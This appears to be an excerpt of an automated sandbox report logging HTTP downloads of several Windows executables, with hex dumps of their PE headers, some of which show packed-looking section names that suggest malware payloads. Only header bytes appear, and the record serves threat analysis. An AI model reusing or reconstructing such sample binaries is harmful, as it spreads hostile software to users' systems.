00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 10:20:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:20:50 GMTContent-Type: application/octet-streamContent-Length: 1922560Last-Modified: Mon, 02 Dec 2024 09:40:58 GMTConnection: keep-aliveETag: "674d80aa-1d5600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4c 00 00 04 00 00 72 86 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 d4 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 d4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 69 69 6f 6e 76 72 72 00 40 1a 00 00 a0 31 00 00 3a 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6c 6b 71 77 62 61 73 00 10 00 00 00 e0 4b 00 00 04 00 00 00 30 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4b 00 00 22 00 00 00 34 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:21:07 GMTContent-Type: application/octet-streamContent-Length: 2342400Last-Modified: Fri, 29 Nov 2024 23:45:15 GMTConnection: keep-aliveETag: "674a520b-23be00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 0c 31 4a 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 e4 02 00 00 d6 20 00 00 00 00 00 40 11 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 24 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 38 73 03 00 50 00 00 00 00 00 00 00 00 00 00 00 00 d0 23 00 c0 15 00 00 00 00 00 00 00 00 00 00 00 10 24 00 90 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 03 03 00 28 00 00 00 28 6b 03 00 38 01 00 00 00 00 00 00 00 00 00 00 80 76 03 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 46 e2 02 00 00 10 00 00 00 e4 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d8 9e 00 00 00 00 03 00 00 a0 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c1 20 20 00 00 a0 03 00 00 10 20 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 c0 15 00 00 00 d0 23 00 00 16 00 00 00 98 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 f0 23 00 00 02 00 00 00 ae 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 00 24 00 00 02 00 00 00 b0 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 90 0a 00 00 00 10 24 00 00 0c 00 00 00 b2 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:21:15 GMTContent-Type: application/octet-streamContent-Length: 222720Last-Modified: Mon, 02 Dec 2024 00:59:50 GMTConnection: keep-aliveETag: "674d0686-36600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 af f4 4c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 f0 00 00 00 72 02 00 00 00 00 00 0a e0 03 00 00 a0 02 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 a7 02 00 4b 00 00 00 00 a0 03 00 10 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 03 00 08 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 48 00 00 00 00 00 00 00 00 00 00 00 54 4c 1d 14 3a 39 40 15 9c 67 02 00 00 20 00 00 00 68 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 b0 ed 00 00 00 a0 02 00 00 ee 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 06 00 00 00 a0 03 00 00 08 00 00 00 5a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 03 00 00 02 00 00 00 62 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 10 00 00 00 00 e0 03 00 00 02 00 00 00 64 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:21:19 GMTContent-Type: application/octet-streamContent-Length: 222720Last-Modified: Mon, 02 Dec 2024 07:43:02 GMTConnection: keep-aliveETag: "674d6506-36600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 af f4 4c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 f0 00 00 00 72 02 00 00 00 00 00 0a e0 03 00 00 a0 02 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 a7 02 00 4b 00 00 00 00 a0 03 00 10 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 03 00 08 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 48 00 00 00 00 00 00 00 00 00 00 00 54 4c 1d 14 3a 39 40 15 9c 67 02 00 00 20 00 00 00 68 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 b0 ed 00 00 00 a0 02 00 00 ee 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 06 00 00 00 a0 03 00 00 08 00 00 00 5a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 03 00 00 02 00 00 00 62 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 10 00 00 00 00 e0 03 00 00 02 00 00 00 64 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:21:24 GMTContent-Type: application/octet-streamContent-Length: 1963520Last-Modified: Mon, 02 Dec 2024 01:24:49 GMTConnection: keep-aliveETag: "674d0c61-1df600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 39 d6 7e 68 7d b7 10 3b 7d b7 10 3b 7d b7 10 3b 63 e5 94 3b 61 b7 10 3b 63 e5 85 3b 69 b7 10 3b 63 e5 93 3b 25 b7 10 3b 5a 71 6b 3b 78 b7 10 3b 7d b7 11 3b 12 b7 10 3b 63 e5 9a 3b 7c b7 10 3b 63 e5 84 3b 7c b7 10 3b 63 e5 81 3b 7c b7 10 3b 52 69 63 68 7d b7 10 3b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 d5 36 5f 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 a6 01 00 00 00 00 00 00 90 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 86 00 00 04 00 00 d0 89 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 00 42 00 6e 00 00 00 00 e0 40 00 a0 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c cf 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 a0 16 01 00 00 e0 40 00 00 78 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 42 00 00 02 00 00 00 dc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 29 00 00 10 42 00 00 02 00 00 00 de 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6d 71 71 73 68 66 64 00 f0 1a 00 00 90 6b 00 00 ee 1a 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 6b 72 63 73 77 66 00 10 00 00 00 80 86 00 00 06 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 86 00 00 22 00 00 00 d4 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:21:31 GMTContent-Type: application/octet-streamContent-Length: 4415488Last-Modified: Mon, 02 Dec 2024 02:44:13 GMTConnection: keep-aliveETag: "674d1efd-436000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 f4 47 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 04 48 00 00 1c 76 00 00 32 00 00 00 40 c6 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c6 00 00 04 00 00 72 e3 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 80 73 00 73 00 00 00 00 70 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 2d c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 2d c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 73 00 00 10 00 00 00 44 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 73 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 73 00 00 02 00 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 37 00 00 90 73 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 64 6b 79 6c 73 70 61 00 e0 1a 00 00 50 ab 00 00 e0 1a 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6a 71 78 63 68 7a 79 00 10 00 00 00 30 c6 00 00 04 00 00 00 3a 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 c6 00 00 22 00 00 00 3e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 